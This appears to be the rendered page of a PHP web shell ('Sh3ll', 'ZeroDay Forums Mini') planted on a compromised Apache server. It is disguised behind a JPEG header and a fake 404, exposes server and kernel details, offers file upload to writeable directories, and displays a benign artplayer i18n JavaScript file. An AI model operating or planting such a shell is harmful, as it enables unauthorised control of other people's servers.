ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/layout/default/node_modules/artplayer/src/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/netphim/layout/default/node_modules/artplayer/src/i18n/index.js
import { mergeDeep } from '../utils';
import zhCn from './zh-cn.json';
import zhTw from './zh-tw.json';
import pl from './pl.json';
import cs from './cs.json';
import es from './es.json';
import fa from './fa.json';
import fr from './fr.json';
import id from './id.json';
import ru from './ru.json';

export default class I18n {
    constructor(art) {
        this.art = art;

        this.languages = {
            'zh-cn': zhCn,
            'zh-tw': zhTw,
            pl: pl,
            cs: cs,
            es: es,
            fa: fa,
            fr: fr,
            id: id,
            ru: ru,
        };

        this.update(art.option.i18n);
    }

    init() {
        const lang = this.art.option.lang.toLowerCase();
        this.language = this.languages[lang] || {};
    }

    get(key) {
        return this.language[key] || key;
    }

    update(value) {
        this.languages = mergeDeep(this.languages, value);
        this.init();
    }
}

ZeroDay Forums Mini